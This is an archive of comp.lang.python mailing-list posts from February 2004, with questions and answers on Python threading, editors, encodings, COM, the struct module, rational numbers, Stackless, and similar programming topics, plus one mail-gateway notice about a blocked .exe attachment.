From: phil.hornby at accutest.co.uk (Phil Hornby)
Date: Mon, 2 Feb 2004 13:41:18 -0000
Subject: Thread stops!!
In-Reply-To: <401E4B37.7000901@nospam.com>
Message-ID: <NFBBIBBEGKCGCEGNDLKGKEKBDNAA.phil.hornby@accutest.co.uk>

Steve,

>> I have a multithreaded python script that collects some data
>> periodically and populates it into a database. For some reason, one of
>> the thread keeps stopping after running for some while and there's no
>> failure or any other sign of failure. What can possibly be going wrong?
>> how can I track this? Is there someway I can find out if ony of the
>> thread stopped? Please help!!

A code snippet might help??

How are you controlling the thread?

If you are doing something periodically is it something like:

class myThread(threading.Thread):

	def run():

		while 1:
			#do something
			self.dosomething()

			sleep(x)

Is your thread stopping or just 'finishing'? i.e. is the run method getting
to the end?

I don't know what environment you are running it in but if you are able to
see the stdout you could add a simple print statement as the last thing in
the function to see if it gets there...if so then the problem is in your
control code, e.g. the events you wait for or the flags you act on.

HTH

--
Phil

"Requirements - what are they I just hack something together that does what
I think they want" ;)




From sross at connectmail.carleton.ca  Mon Feb 23 20:24:00 2004
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Mon, 23 Feb 2004 20:24:00 -0500
Subject: Learning Python on jEdit
References: <d422a60.0402231132.19acdc74@posting.google.com>
	<c1dlp0$r11$5@nemesis.news.tpi.pl>
Message-ID: <xIx_b.5690$253.546458@news20.bellglobal.com>


"Jarek Zgoda" <jzgoda at gazeta.usun.pl> wrote in message
news:c1dlp0$r11$5 at nemesis.news.tpi.pl...
[snip]
> jEdit detects file type by extension, so Python syntax highlighting
> will not work until you save the file with py or pyw extension.

Actually you can set the edit mode manually as well:

http://www.jedit.org/users-guide/modes.html#mode-selection

"""
The edit mode can be specified manually as well. The current buffer's edit
mode can be set on a one-time basis in the Utilities>Buffer Options dialog
box;
"""

Plus you can set the default edit mode to python, so that when you create a
new file it's already in python-mode.


Ray:

You may want to use the plug-in manager[1] to get the console plug-in so you
can run your programs from within the IDE. You may also appreciate the
Jython plug-in. Peronally, I like having the BufferTabs plug-in as well. I
actually tend to use Komodo for Python, but I have jEdit installed for
programming in several other languages and I'm pretty happy with it. Enjoy.

Sean


[1] http://www.jedit.org/users-guide/using-plugins.html





From support at alcanet.com.au  Tue Feb 10 07:35:01 2004
From: support at alcanet.com.au (support at alcanet.com.au)
Date: Tue, 10 Feb 2004 23:35:01 +1100
Subject: ALCATEL POLICY : your message has been refused
Message-ID: <200402101235.i1ACZ12n014264@mailgate.alcanet.com.au>

******************** e-mail Manager Notification ********************** 

As a security precaution this mail was blocked and discarded since it
contains attachments with file extensions not allowed by our email policy
(.exe, .vbs etc ...)


Source mailbox : <python-list at python.org>
Destination mailbox : <james at alcatel.com.au>
Message Subject : 
Attachment: application/octet-stream;   name="text.exe"  
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From martin at v.loewis.de  Wed Feb 18 17:43:41 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 18 Feb 2004 23:43:41 +0100
Subject: 2.3 encoding parsing bug
In-Reply-To: <1036ic88394e31f@corp.supernews.com>
References: <10349ardb7psua3@corp.supernews.com> <40328B45.4030400@v.loewis.de>
	<10357pvh422kt64@corp.supernews.com> <4033130D.8030000@v.loewis.de>
	<1036ic88394e31f@corp.supernews.com>
Message-ID: <c10pqq$cr$07$1@news.t-online.com>

Edward K. Ream wrote:
> Pep 263 does not discuss the issue that bites Leo: the more general the re
> the more likely there is to be unintended consequences.  True, one doesn't
> want to limit the matches that one _does_ want with encoding lines produced
> by other editors.  So it's not clear exactly what re to choose.

AFAIR, this effect is actually *intended*. Originally, only the -*-
syntax was proposed, but then there were objections "what about other
editors?" Then the re expression was designed.

Regards,
Martin



From rick_muller at yahoo.com  Thu Feb 12 16:13:01 2004
From: rick_muller at yahoo.com (Rick Muller)
Date: 12 Feb 2004 13:13:01 -0800
Subject: Mathematica-style notebook in Python
Message-ID: <5eb8fb88.0402121313.2f07dd0a@posting.google.com>

I was wondering whether anyone has considered writing a
Mathematica-style notebook in Python. I use Python to do a lot of
scientific analysis, and I really like it's power. But what I always
envy about my friends who use Mathematica is the notebooks they
generate, which contain plots, annotations, and other information, in
a format that can be reloaded easily when you want to check your work.

Before I start doing something like this, has anyone else considered
it?


From anton at vredegoor.doge.nl  Thu Feb  5 17:23:35 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Thu, 05 Feb 2004 23:23:35 +0100
Subject: Bitsets in Python
References: <pan.2004.02.03.17.36.10.927614@presidency.com>
	<bvpqlt$82s$3@news.service.uci.edu>
	<94b59a36.0402050550.442a93d1@posting.google.com>
	<mailman.1239.1075991373.12720.python-list@python.org>
Message-ID: <4022c305$0$131$3a628fcd@reader2.nntp.hccnet.nl>

Jeff Epler <jepler at unpythonic.net> wrote:

>I also don't think there's anything in the standard library for it.
>I vaguely recall talk that putting this in the 'array' module might be
>the right thing to do:
>    >>> array.array(array.BIT, '\xaa')
>    array(array.BIT, [1, 0, 1, 0, 1, 0, 1, 0])

Alternatively there could be support for "generating all tuples" a la
Knuth. The code below could be used for conversions to and from
binary, but it would be also be useful for datetime computations,
lexical permutations and other things. Doing it this way would solve
various requests simultaneously.

For datetime one could use [24,60,60] as bases, for binary with 3 bits
one could use [2,2,2], for permutations of a list of length 5 one
could use [5,4,3,2] as bases (although after using this as a starting
point I found some shorter lexical ranking and unranking functions).

Anton

def rank(L,bases):
    res,multiplier = 0,1
    for x,b in zip(L[::-1],bases[::-1]):
        res += x*multiplier
        multiplier *= b
    return res

def unrank(d,bases):
    res = []
    for b in bases[::-1]:
        d,m = divmod(d,b)
        res.append(m)
    return res[::-1]

def test():
    bases = [2,2,2]
    n = reduce(lambda x,y: x*y,bases)
    for i in range(n):
        x = unrank(i,bases)
        print i,x
        assert i == rank(x,bases)

if __name__=='__main__':
    test()

output:

0 [0, 0, 0]
1 [0, 0, 1]
2 [0, 1, 0]
3 [0, 1, 1]
4 [1, 0, 0]
5 [1, 0, 1]
6 [1, 1, 0]
7 [1, 1, 1]






From rupole at hotmail.com  Sun Feb 29 23:40:41 2004
From: rupole at hotmail.com (Roger Upole)
Date: Sun, 29 Feb 2004 20:40:41 -0800
Subject: Python COM Variant problem
References: <b9942658.0402270131.624a8492@posting.google.com>
	<4040de8f_1@127.0.0.1>
	<b9942658.0402291633.542752e0@posting.google.com>
Message-ID: <404290c1_5@127.0.0.1>

Normally if you've run makepy, the support should be invoked automatically
when you create an instance.  What do you get back when you use
win32com.client.gencache.EnsureDispatch ?
        Roger

"Annie" <aichia77 at yahoo.com> wrote in message
news:b9942658.0402291633.542752e0 at posting.google.com...
> hi Roger,
>   10s for replying..
>   i do running the makepy on that typelib. but can u pls teach me on
> how to include to my Python program??
>   10s in advance
>
>
> "Roger Upole" <rupole at hotmail.com> wrote in message
news:<4040de8f_1 at 127.0.0.1>...
> > Try running makepy on the typelib that contains the objects.
> > Also, the actual error msg that if fails with would be helpful.
> >        Roger
> >
> > "Annie" <aichia77 at yahoo.com> wrote in message
> > news:b9942658.0402270131.624a8492 at posting.google.com...
> > > I am trying to call a COM object which expects a variant datatype to
> > > be passed in to the COM API object. However, I get "<COMObject
> > > <unknown>>" and the program fails.
> > >
> > > Below is my code in Python, and the same code in VB which is working
> > > fine...
> > >
> > > I guess this is a variant problem with python? How can I make this
> > > work? Would appreciate if someone can guide me as I am a python
> > > newbie... :-)
> > >
> > > Thanks very much...
> > >
> > > ##In Python
> > > def setAddOnValue(oBusObj
> > >     oAddOns = oBusObj.AddOns
> > >     print oAddOns #returns "<COMObject <unknown>>"
> > >     print oAddOns.Count #return 3
> > >     for x in range(1, oAddOns.Count):
> > >         oAddOn = oAddOns.Item(x) #expects variant datatype for the x
> > > variable
> > >
> > >
> > >
> > > ##In VB
> > > Public Function setAddOnValue(oBusObj As Variant, strAddOnLabel As
> > > String, strPropLabel As String, oVal As Variant) As Boolean
> > >     Dim x, y
> > >     Dim oAddOns As CAddOns
> > >     Dim oAddOn As CAddOn
> > >     Dim oAddOnValues As CAddOnValues
> > >     Dim oAddOnValue As CAddOnValue
> > >
> > >     setAddOnValue = False
> > >     Set oAddOns = oBusObj.AddOns
> > >
> > >     For x = 1 To oAddOns.Count
> > >         Set oAddOn = oAddOns.Item(x)
> > >         If oAddOn.AddOnName = strAddOnLabel Then
> > >             Set oAddOnValues = oAddOn.AddOnValues
> > >             For y = 1 To oAddOnValues.Count
> > >                 Set oAddOnValue = oAddOnValues.Item(y)
> > >                 If oAddOnValue.PropertyLabel = strPropLabel Then
> > >                     setAddOnValue = True
> > >                     Set oAddOnValue.Data = oVal
> > >                     Exit For
> > >                 End If
> > >             Next y
> > >         End If
> > >         If setAddOnValue = True Then
> > >             Exit For
> > >         End If
> > >     Next x
> > > End Function




From paul at prescod.net  Mon Feb  9 15:17:09 2004
From: paul at prescod.net (Paul Prescod)
Date: Mon, 09 Feb 2004 12:17:09 -0800
Subject: Allowing non-ASCII identifiers (Fran?ois Pinard)
In-Reply-To: <uFQVb.58$%X3.42@nwrddc01.gnilink.net>
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net>
Message-ID: <4027EAC5.2090603@prescod.net>

Doug Fort wrote:

> [Fran?ois Pinard]
> <snip>
> 
>>Some English readers might not really imagine, but it is a constant
>>misery, having to mangle identifiers while documenting and thinking
>>in languages other than English, merely because the Python notion of
>>letter is limited to the English subset.  Granted, keywords and standard
>>library use English, this is Python, and this is not at stake here!
>>However, there is a good part of code in local (or in-house) programs
>>which is thought as our crafted code, and even the linguistic change is
>>useful (to us) for segregating between what comes from the language and
>>what comes from us.  The idea is extremely appealing of being able to
>>craft and polish our code (comments, strings, identifiers) to make it as

I wonder if the proposal would be more palatable if it were restricted 
to 8-bit encodings (what we used to call "code pages"). This is at least 
a first step in the right direction that would help westerners and could 
be made to work even if Python were compiled without Unicode support. 
(it is still possible to compile Python without Unicode isn't it?)

  Paul Prescod





From secchi at sssup.it  Tue Feb 24 12:13:21 2004
From: secchi at sssup.it (Angelo Secchi)
Date: Tue, 24 Feb 2004 18:13:21 +0100
Subject: problem with struct module
In-Reply-To: <20040224162855.5a0a0d33.secchi@sssup.it>
References: <20040224162855.5a0a0d33.secchi@sssup.it>
Message-ID: <20040224181321.6bde737e.secchi@sssup.it>


Apparently I solved my problem and this sample (in the Hypothesis that
I have$3$ fields for a total length of 1970) code works:

import struct

fmt='22s16s1932s'

size=struct.calcsize(fmt)

f=file('pan8997.finalevero','rb')

s=f.read(size)

d1,d2,d3=struct.unpack(fmt,line)
 
However I have now a different question that I was not able to solve
looking at the documentation. Suppose I am interested in a field that I
know starts at the 76th position and it is a 3s, How can I get it
directly without make some calculation and write

fmt='75s3s1892s'

Is there a way to say to implement in the format the statement "start
at the 76th position e return a string of length 3" ?

Thanks
a.





but actually I have a different question




On Tue, 24 Feb 2004 16:28:55 +0100
Angelo Secchi <secchi at sssup.it> wrote:

> 
> I'm trying to use the unpack method in the struct module to parse a
> binary file without success. I have a binary file with records that
> include many fields for a total length of 1970. Few days ago I was
> suggested by the list to use the struct module to parse it using the
> following code in the hypothesis that for each records I have just two
> fields:
> 
> import struct
> fmt='10s1960s'
> size=struct.calcsize(fmt)
> f=file("data")
> s=f.read(size)
> 
> while s:
>     print 'read:', s
>     d1,d2=struct.unpack(fmt,s)
>     print 'unpack', d1
> 
> Probably I was not even able to explain my problem since it seem that
> this code is not able to read the file. Can anybody help me, maybe
> asking for other infos they need? Also just suggest me a place where I
> can find examples of using struc.unpack would be very helpful.
> Thanks.
> a.
> 
> 
> 



From pf_moore at yahoo.co.uk  Mon Feb  2 12:52:35 2004
From: pf_moore at yahoo.co.uk (Paul Moore)
Date: Mon, 02 Feb 2004 17:52:35 +0000
Subject: PEP 327: Decimal Data Type
References: <mailman.1054.1075487007.12720.python-list@python.org>
	<bvef14$919$1@news.service.uci.edu>
	<ad052e5c.0401310101.1c5bd5aa@posting.google.com>
	<h6um10dknflfcgt3id6tril2fs3lbb3vsq@4ax.com>
	<bvgp4j$dp2$1@news.service.uci.edu>
	<jvtn10177itao5m0lgt25bofut9h5qj4c6@4ax.com>
	<bvjj49$c94$1@news.service.uci.edu>
Message-ID: <7jz58j30.fsf@yahoo.co.uk>

Josiah Carlson <jcarlson at nospam.uci.edu> writes:

> One must remember to normalize on initialization, but that's not
> difficult.  Functionally that's how my rational turned out.  It wasn't
> terribly full featured, but it worked well for what I was doing.

Straightforward rational implementations *are* easy. But when you
start to look at some of the more subtle numerical issues, life
rapidly gets hard.

The key point (easy enough with Python, but bear with me) is that the
numerator and denominator *must* be infinite-precision integers. 
Otherwise, rationals have as many rounding and representational issues
as floating point numbers, and the characteristics of the problems
differ in ways that make them *less* usable without specialist
knowledge, not more.

With Python, this isn't an onerous requirement, as Python Longs fit
the bill nicely. But the next decision you have to make is how often
to normalise. You imply (in your comment above) that you should only
normalise on initialisation, but if you do that, your representation
rapidly blows up, in terms of space used. Sure,
8761348763287654786543876543/17522697526575309573087753086 is the same
as 1/2, but the former uses a lot more space, and is going to be
slower to compute with.

But if you normalise every time, some theoretically simple operations
can become relatively very expensive in terms of time. (Basically,
things like addition, which suddenly require a GCD calculation).

So you have to work out a good tradeoff, which isn't easy.

There are other issues to consider, but that should be enough to
demonstrate the sort of issues an "industrial strength" rational
implementation must address.

Of course, this isn't to say that every implementation *needs* to be
industrial-strength. Only the user can say what's good enough for his
needs.

Paul.
-- 
This signature intentionally left blank


From FBatista at uniFON.com.ar  Wed Feb 11 13:23:44 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 11 Feb 2004 15:23:44 -0300
Subject: str.find for multiple strings
Message-ID: <A128D751272CD411BC9200508BC2194D033835EC@escpl.tcp.com.ar>

Bart Nessux wrote:

#- x = str.find(temp, '120.50')
#- 
#- I am looking for '120.50' '120.51' '122.78' etc. How can I 
#- do this with 
#- just one str.find... I can use re if I must, but I'd like to 
#- avoid it if 
#- possible.

What do you want in return? Remember that "find" returns the position of the
string that you're looking for (or -1 if no match).

.	Facundo



From jcarlson at nospam.uci.edu  Fri Feb  6 12:11:27 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 09:11:27 -0800
Subject: "ulimit -s" has no effect?
In-Reply-To: <877jz2f8l9.fsf@dgp.toronto.edu>
References: <877jz2f8l9.fsf@dgp.toronto.edu>
Message-ID: <c00i0a$inl$2@news.service.uci.edu>

> def foo(i):
>         print i 
>         foo(i+1)
> import sys
> sys.setrecursionlimit(1000000)
> foo(0)

This entire thread begs the question: Why are you recursing this deep?
It would be faster to iterate.

  - Josiah


From feb04.20.netman at spamgourmet.com  Thu Feb 19 14:50:32 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Thu, 19 Feb 2004 19:50:32 GMT
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de>
Message-ID: <cs8Zb.59225$IF1.26985@nwrdny03.gnilink.net>

How are you planning on using this large random string? If you are just
planning on printing, you can write:

for i in xrange(100000):
    sys.stdout.write(random.choice(string.letters))

and it will dump lots of garbage to the screen pretty quickly.  If you're
looking to do something else with the data, be specific about what you're
trying to do.

Chris

"Andreas Lobinger" <andreas.lobinger at netsurf.de> wrote in message
news:4034D506.2E37519A at netsurf.de...
> Aloha,
> i wanted to ask another problem, but as i started to build an example...
>
> How to generate (memory and time)-efficient a string containing
> random characters? I have never worked with generators, so my solution
> at the moment is:
>
> import string
> import random
> random.seed(14)
> d = [random.choice(string.letters) for x in xrange(3000)]
> s = "".join(d)
> print s
>
> which is feasible for the 3000, but i need lengths in the range
> 10.000 to 1.000.000.
>
> Hoping for an answer and wishing a happy day
> LOBI




From amk at amk.ca  Wed Feb 18 11:06:49 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Wed, 18 Feb 2004 10:06:49 -0600
Subject: codecs limitation
References: <mailman.3.1077114047.27104.python-list@python.org>
Message-ID: <OaCdnVGMcMQEEK7dRVn-jA@speakeasy.net>

On Wed, 18 Feb 2004 17:20:38 +0300 (MSK), 
	Denis S. Otkidach <ods at strana.ru> wrote:
> I have the same question as stated in comments: should we really
> enforce this and forget the idea to define some specialized
> encodings like 'html'?

I suppose it depends on what the codecs system is *for*.  If it's an
interface that goes between between the abstract world of Unicode code
points and the concrete world of 8-bit characters that represent those code
points, then the idea of returning anything but an 8-bit string from
.encode() doesn't make sense.  If codecs are for arbitrary string-to-string
transformations, then the restriction should be relaxed.

In any case, it's straightforward to define a separate string-like class
that escapes the string, e.g. as Quixote does:

>>> from quixote.html import htmltext as h
>>> h('<h1>%s</h1>') % 'Page title'
<htmltext '<h1>Page title</h1>'>
>>> h('<h1>%s</h1>') % 'Page title with <, &, > in it'
<htmltext '<h1>Page title with &lt;, &amp;, &gt; in it</h1>'>
>>> h('<p>This is a test.')  + '<a href="http://example.com>'
<htmltext '<p>This is a test.&lt;a href=&quot;http://example.com&gt;'>

--amk


From jcarlson at nospam.uci.edu  Tue Feb 17 23:44:33 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 17 Feb 2004 20:44:33 -0800
Subject: Creating Self Extracting Zip using Python
In-Reply-To: <adednY5lv5NHR6_dRVn-vw@comcast.com>
References: <c0qc5j$2g52$1@news.hgc.com.hk>
	<c0r3k0$qo1$1@news3.tilbu1.nb.home.nl>
	<c0tdvf$rnt$1@news.hgc.com.hk> <40323853.1704B48@engcorp.com>
	<adednY5lv5NHR6_dRVn-vw@comcast.com>
Message-ID: <c0uqo8$fcd$2@news.service.uci.edu>

> I know people get their rocks off here patronizing newbies, but how 
> about pointing them to the tutor list instead?

I don't know if it is patronizing newbies.  I think it is more expecting 
them to read the documentation that is available via keyword search at 
google.

So few people actually spend the time to do /any/ sort of research into 
their question, preferring to ask before they try to answer themselves. 
  95%+ of questions asked here can be answered with a quick browsing of 
the tutorial, standard library, or google search.  Do we encourage such 
things, or should we point out that their questions can be easily 
answered with a proper keyword search?

  - Josiah


From poyol at hotmail.com  Mon Feb  9 08:01:13 2004
From: poyol at hotmail.com (OPQ)
Date: 9 Feb 2004 05:01:13 -0800
Subject: How to open files
References: <102dgnqrlu47l60@corp.supernews.com>
Message-ID: <a334c30e.0402090501.32d5e87b@posting.google.com>

"ADE" <na> wrote in message news:<102dgnqrlu47l60 at corp.supernews.com>...
> Hi I have a Tkinter GUI with a listbox that displays a list of files I would
> like to be able to open those files when I double click on them in there
> default program that opens the files usually
> 
> Thanks in advance Cheers
> 
> 
> Andrew


you may want to have a look at 
os.startfile


---OPQ


From llothar at web.de  Wed Feb 25 11:04:58 2004
From: llothar at web.de (Lothar Scholz)
Date: 25 Feb 2004 08:04:58 -0800
Subject: How does Ruby compare to Python?? How good is DESIGN of Ruby
	compared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
Message-ID: <6ee58e07.0402250804.5bdce27c@posting.google.com>

seberino at spawar.navy.mil (Christian Seberino) wrote in message news:<bf23f78f.0402241443.678bf6c8 at posting.google.com>...
> How does Ruby compare to Python?? How good is DESIGN of Ruby compared to Python?
> 
> Python's design is godly.  I'm wondering if Ruby's is godly too.
> 
> I've heard it has solid OOP design but then I've also heard there are
> 
> lots of weird ways to do some things kinda like Perl which is bad for me.
> 

At least the design of the Ruby implementation is very very bad.

But you should use google to find more answers to your frequently asked question.


From mark.buch at ewetel.net  Tue Feb 24 04:41:37 2004
From: mark.buch at ewetel.net (Mark Buch)
Date: Tue, 24 Feb 2004 10:41:37 +0100
Subject: Python script in MS Excel
Message-ID: <c1f68d$7dh$07$1@news.t-online.com>

Hi,

i' ve got a little Python script fpr a database export. Now i want to start
this program from MS Excel. Do you know if its possible to execute Python
Script in a MS Office Product?

Thank you - Mark




From http  Wed Feb 18 16:29:51 2004
From: http (Paul Rubin)
Date: 18 Feb 2004 13:29:51 -0800
Subject: Another opportunity for improvement? (was: Python Productivity
	Gain?)
References: <mailman.85.1077050044.31398.python-list@python.org>
	<30260531.0402181112.117a525b@posting.google.com>
	<1037js91pfg3od0@corp.supernews.com>
Message-ID: <7xbrnw2i0g.fsf@ruckus.brouhaha.com>

claird at lairds.com (Cameron Laird) writes:
> >So my current favourites are Perl for CGI and Python for
> >cross-platform, scriptable-GUI stuff.
> 
> What are Perl's advantages for CGI?  Is the Perl language intrinsically
> superior for that work, or do you favor the convenience of specific
> libraries, or do you mean something different by "CGI" than what I have
> in mind, or ...?

Perl has a much deeper set of runtime packages available through CPAN,
including stuff like Perl-DBI.  The Perl language also has a nifty
"tainting" feature, which helps catch security bugs.  Maybe something
like that can be added to PyPy (the new Python implementation under
development) sometime.


From jlenton at yahoo.com  Sun Feb 22 18:02:39 2004
From: jlenton at yahoo.com (John Lenton)
Date: 22 Feb 2004 15:02:39 -0800
Subject: Is a pose-as relation possible?
Message-ID: <3892e49b.0402221502.15a29f2d@posting.google.com>

In playing around with pygtk and Xcursor I found myself wanting to add
methods to an extension class, gtk.gdk.Window; I found I couldn't.
Next, I thought maybe there was a way to pose-as gtk.gdk.Window, but
after a couple of hours of tinkering I caved in and appeal to you: is
it possible to pose-as an extension class?


From tismer at stackless.com  Mon Feb 23 19:34:38 2004
From: tismer at stackless.com (Christian Tismer)
Date: Tue, 24 Feb 2004 01:34:38 +0100
Subject: [Stackless] Re: Stackless 3.0 for Python 2.3: new binaries
In-Reply-To: <403A8E4F.7080801@aon.at>
References: <mailman.145.1077390882.27104.python-list@python.org>
	<403A8E4F.7080801@aon.at>
Message-ID: <403A9C1E.9040509@stackless.com>

Gregor Lingl wrote:

> Christian Tismer schrieb:
> 
>> New Win32 binaries have been uploaded to the Stackless website.
>>
>> Some compatibility issues with certain constructors
>> have been solved.
>>
>> Please let me know of any problems.
>>
> 
> Trying seriously to find out how to use stackless and what it is
> good for ;-),

Alaaf, you are cheating, right?
You must have known, partially, last August. ;-)

> I stumbled just in the beginning. While I was able to 
> execute some of my Python programs, among them Tkinter-programs
> and even recursive ones,
> 
> (1) I was not able to use Stackless from IDLE:
...

>  >>> 3*4
> Traceback (most recent call last):
>   File "C:\Python23\lib\idlelib\rpc.py", line 233, in asyncqueue
>     self.putmessage((seq, request))
>   File "C:\Python23\lib\idlelib\rpc.py", line 322, in putmessage
>     s = pickle.dumps(message)
> RuntimeError: maximum recursion depth exceeded

Yes, I tried this and I get the same problem.
Have to admit that I'm not a regular IDLE user.
Seriously, I have no idea what's going on.
Seriously, I have also no idea why Python must
try to pickle something, to compute 3*4 ???

Everything works with Python 2.2. I expect something
has changed dramatically with Idle, and there is some
compatability issue with all the new pickling support that
we had to add for Python 2.3. Eeek, how do I debug that!

> (2) I don't know where to put python23.exp (and what it is good
> for). Maybe this is the reason for problem (1) ??

Forget it. it is just a table of exported names which might help
with debugging.

ciao -- chris

p.s.: Stackless Sprint in Berlin: March 10-14, maybe one day less.
-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From shalabh at cafepy.com  Sun Feb 22 04:03:57 2004
From: shalabh at cafepy.com (Shalabh Chaturvedi)
Date: Sun, 22 Feb 2004 09:03:57 GMT
Subject: How to overide "for line in file:"
References: <tisf301qf76c8lh0jkq9086gpqoep1bb1u@4ax.com>
	<103g0mhgmfups16@news.supernews.com>
	<mailman.152.1077423223.27104.python-list@python.org>
	<oakg30t4g8gkit04b8dg1jv6sf61rdbkc9@4ax.com>
Message-ID: <1g_Zb.45001$5W3.6317@nwrddc02.gnilink.net>

David Morgenthaler wrote:

> On Sat, 21 Feb 2004 23:13:19 -0500, "Terry Reedy" <tjreedy at udel.edu>
> wrote:
> 
>>Your class needs an __iter__ function.  However, unless you have some
>>other reason for the heavy duty class option, much easier is something
>>like:
>>
>>def xycoords(lines):
>>    # lines is an iterable that yields text lines of appropriate format
>>    for line in lines:
>>        <extract numbers and transform>
>>        yield x,y
>>
>>You can feed xycoords a literal list of lines for testing and then an open
>>file for production use.
>>Chaining iterators like this is part of their intended use.
>>
> 
> Hmmm. It was the "list of lines" that I was trying to avoid. Because
> my files (several files, opened simultaneously) of row,col pairs are
> very long (e.g., the locations of many things at every second for a
> very long time), I was trying to get the effect of xreadlines, but
> with the newer idiom used both "in and out" -- that is, used by the
> super to actually read the data, and made available to myFile
> instances as well. And since the only behavior of the file class that
> I wanted to change was to, in effect, "filter" the input, subclassing
> file seemed reasonable.
> 
> I could (in fact, I did, so as to not halt all progress) make a
> solution using the even older "while True:/readline/test and break"
> idiom.  So I can use the idiom "outside" of my implementation. But my
> curiosity remains: Is it possilbe to use the idiom "inside" (by the
> super) to make the idiom available "outside" (by subclasses's
> instances)?
> 
> Another poster has suggested  that I subclass file and redefine
> __iter__(self), possibly even point to self. The problem I have when
> doing this is that it seems the break the idiom "for line in file"
> that is provide by the superclass, file. And I would still like to use
> this idiom for doing the actual reading within my .
> 
> So, what I was trying to achieve was something like the following
> generator, but without the use of the deprecated xreadlines:
> 
>     for line in xreadlines.xreadlines():
>         <extract numjber and transform>
>         yield x,y

Did you mean myfile.xreadlines()? In which case your code is quite correct.
You could even get rid of the .xreadlines() part and have it work the 'new'
way (and identical to what Terry Reedy suggested :).

Now I'm not sure what you want but note that the example from Terry Reedy
does not have a 'list of lines' - lines is an iterable, which means it
could be a file object. So, you could call that example as:

for x,y in xycoords(file('..')):
    <do something>

Now, each time the above for loops once, the for inside xycoords() loops
once. There is never a list of lines created anywhere.

HTH,
Shalabh


From peter at engcorp.com  Mon Feb 23 08:53:18 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 23 Feb 2004 08:53:18 -0500
Subject: Python Productivity Gain?
References: <mailman.16.1077122875.27104.python-list@python.org>
	<403687e1$1@nntp0.pdx.net> <40368BF3.2FE82B1A@engcorp.com>
	<mailman.126.1077319302.27104.python-list@python.org>
Message-ID: <403A05CE.B7A1E2E1@engcorp.com>

Thomas Heller wrote:
> 
> Oh, and we didn't have a bed to sleep in. Ah, that's another story...

You were able to sleep!  Ah, luxury....


From peter at engcorp.com  Tue Feb 17 14:38:41 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 17 Feb 2004 14:38:41 -0500
Subject: IP list generation
References: <mailman.74.1077039244.31398.python-list@python.org>
Message-ID: <40326DC1.3AACC7D5@engcorp.com>

Stephen Briley wrote:
> 
> I would like to write a python script that takes input
> of 2 ip address, one a start address and the other the
> end address and prints a list of all ip address in
> between  in dotted-decimal format.  If so, what is the
> recommended way?  Is there a way to do this with the
> supplied python modules?

If you mean "is there a standard module which does exactly this?"
then the answer is no. 

There may well be an appropriate method in a package somewhere out
there already.

It might help to (a) give an example, and (b) describe the ultimate 
purpose of script, so you can get more helpful answers.

-Peter


From aahz at pythoncraft.com  Thu Feb 19 20:12:05 2004
From: aahz at pythoncraft.com (Aahz)
Date: 19 Feb 2004 20:12:05 -0500
Subject: Speed of attribute lookup (was Re: advice on programming style:
	is multiple inheritance bad?)
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<101rd69b9127s51@news.supernews.com>
	<bvkh00$38r$1@panix1.panix.com>
	<n282209gef37juq7j248otjg0qsp5l5is2@4ax.com>
Message-ID: <c13mt5$a05$1@panix2.panix.com>

In article <n282209gef37juq7j248otjg0qsp5l5is2 at 4ax.com>,
Greg Chapman  <glc at well.com> wrote:
>On 1 Feb 2004 22:42:56 -0500, aahz at pythoncraft.com (Aahz) wrote:
>>
>>The problem with attribute lookup in new-style classes is that any
>>instance attribute could be a property.  So if Python finds an attribute
>>on the instance, it needs to traverse the MRO to check if there's a
>>property.  If there isn't one, that's an expensive waste.
>>
>>Guido, Ping, and I worked on a patch to fix that at last year's PyCon
>>sprint, but one common case slowed down enough that Guido vetoed the
>>patch.  Anyone who wants to bring fresh eyeballs would be welcome.
>>(Don't remember the precise specifics off-hand, but I'm willing to work
>>with someone who wants to try.)
>
>I assume the work you did last year is the cache-attr-branch in the
>CVS?  Is there some documentation somewhere that more fully describes
>the reasons for your approach (and possibly rejected alternatives)?

That's the patch.  Unfortunately, I don't think there's much doc.

>I wonder if you considered turning off the cache for types with
>no instance dict (tp_dictoffset == 0)?  The slowdown in access to
>attributes defined in the first class in the mro is probably most
>critical for built-in types (without instance dicts), which access both
>methods and data using class attributes.  For types implemented in
>Python, I for one would be willing to trade some slow down in accessing
>class attributes (generally a prelude to making a Python function
>call, which is going to be relatively slow anyway), for a speed up in
>accessing instance attributes.

That's what I thought, too, but there was some reason Guido wasn't
willing to live with that, which I can't remember.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From http  Wed Feb 11 13:35:15 2004
From: http (Paul Rubin)
Date: 11 Feb 2004 10:35:15 -0800
Subject: Async Client with 1K connections?
References: <65779ce6.0402092357.73df9783@posting.google.com>
	<zeWdnXYoFaHsSbTd4p2dnA@comcast.com>
Message-ID: <7xk72tsbvg.fsf@ruckus.brouhaha.com>

"William Chang" <williamichang at hotmail.com> writes:
> Thank you all for the discussion!  Some additional information:
> 
> One of the intended uses is indeed a next-gen web spider.  I did the
> math, and yes I will need about 10 cutting-edge PCs to spider like
> you-know-who.  But I shouldn't need 100 -- and would rather not
> spend money unnecessarily...  Throughput per PC would be on
> the order of 1MB/s assuming 200x5KB downloads/sec using 1-2000
> simultaneous connections.  (That's 17M pages per day per PC.)

